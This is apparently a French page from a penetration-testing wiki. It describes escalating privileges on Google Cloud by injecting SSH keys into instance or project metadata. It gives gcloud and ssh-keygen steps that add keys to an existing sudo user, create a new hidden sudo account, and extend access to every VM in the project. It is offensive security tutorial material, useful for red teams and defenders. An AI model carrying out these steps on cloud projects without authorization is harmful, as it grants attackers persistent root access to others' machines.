# GCP - Ajouter des métadonnées SSH personnalisées

## GCP - Ajouter des métadonnées SSH personnalisées

{{#include ../../../../banners/hacktricks-training.md}}

### Modification des métadonnées <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>

La modification des métadonnées sur une instance pourrait entraîner **des risques de sécurité significatifs si un attaquant obtient les autorisations nécessaires**.

#### **Incorporation de clés SSH dans les métadonnées personnalisées**

Sur GCP, **les systèmes Linux** exécutent souvent des scripts à partir de l'[Environnement Invité Linux Python pour Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Un composant critique de cela est le [démon des comptes](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), qui est conçu pour **vérifier régulièrement** le point de terminaison des métadonnées de l'instance pour **des mises à jour des clés publiques SSH autorisées**.

Par conséquent, si un attaquant peut modifier les métadonnées personnalisées, il pourrait faire en sorte que le démon trouve une nouvelle clé publique, qui sera traitée et **intégrée dans le système local**. La clé sera ajoutée dans le fichier `~/.ssh/authorized_keys` d'un **utilisateur existant ou potentiellement en créant un nouvel utilisateur avec des privilèges `sudo`**, selon le format de la clé. Et l'attaquant pourra compromettre l'hôte.

#### **Ajouter une clé SSH à un utilisateur privilégié existant**

1. **Examiner les clés SSH existantes sur l'instance :**

- Exécutez la commande pour décrire l'instance et ses métadonnées afin de localiser les clés SSH existantes. La section pertinente dans la sortie sera sous `metadata`, spécifiquement la clé `ssh-keys`.

```bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```

- Faites attention au format des clés SSH : le nom d'utilisateur précède la clé, séparé par un deux-points.

2. **Préparer un fichier texte pour les métadonnées de la clé SSH :**
- Enregistrez les détails des noms d'utilisateur et de leurs clés SSH correspondantes dans un fichier texte nommé `meta.txt`. Cela est essentiel pour préserver les clés existantes tout en ajoutant de nouvelles.
3. **Générer une nouvelle clé SSH pour l'utilisateur cible (`alice` dans cet exemple) :**

- Utilisez la commande `ssh-keygen` pour générer une nouvelle clé SSH, en veillant à ce que le champ de commentaire (`-C`) corresponde au nom d'utilisateur cible.

```bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```

- Ajoutez la nouvelle clé publique à `meta.txt`, en imitant le format trouvé dans les métadonnées de l'instance.

4. **Mettre à jour les métadonnées de la clé SSH de l'instance :**

- Appliquez les métadonnées de clé SSH mises à jour à l'instance en utilisant la commande `gcloud compute instances add-metadata`.

```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```

5. **Accéder à l'instance en utilisant la nouvelle clé SSH :**

- Connectez-vous à l'instance avec SSH en utilisant la nouvelle clé, accédant au shell dans le contexte de l'utilisateur cible (`alice` dans cet exemple).

```bash
ssh -i ./key alice@localhost
sudo id
```

#### **Créer un nouvel utilisateur privilégié et ajouter une clé SSH**

Si aucun utilisateur intéressant n'est trouvé, il est possible d'en créer un nouveau qui se verra attribuer des privilèges `sudo` :
```bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
#### Clés SSH au niveau du projet <a href="#sshing-around" id="sshing-around"></a>

Il est possible d'élargir l'accès SSH à plusieurs machines virtuelles (VM) dans un environnement cloud en **appliquant des clés SSH au niveau du projet**. Cette approche permet l'accès SSH à toute instance au sein du projet qui n'a pas explicitement bloqué les clés SSH à l'échelle du projet. Voici un guide résumé :

1. **Appliquer des clés SSH au niveau du projet :**

- Utilisez la commande `gcloud compute project-info add-metadata` pour ajouter des clés SSH à partir de `meta.txt` aux métadonnées du projet. Cette action garantit que les clés SSH sont reconnues sur toutes les VM du projet, sauf si une VM a l'option "Bloquer les clés SSH à l'échelle du projet" activée.

```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```

2. **SSH dans les instances en utilisant des clés à l'échelle du projet :**
- Avec des clés SSH à l'échelle du projet en place, vous pouvez SSH dans n'importe quelle instance au sein du projet. Les instances qui ne bloquent pas les clés à l'échelle du projet accepteront la clé SSH, accordant l'accès.
- Une méthode directe pour SSH dans une instance consiste à utiliser la commande `gcloud compute ssh [INSTANCE]`. Cette commande utilise votre nom d'utilisateur actuel et les clés SSH définies au niveau du projet pour tenter d'accéder.

## Références

- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)

{{#include ../../../../banners/hacktricks-training.md}}
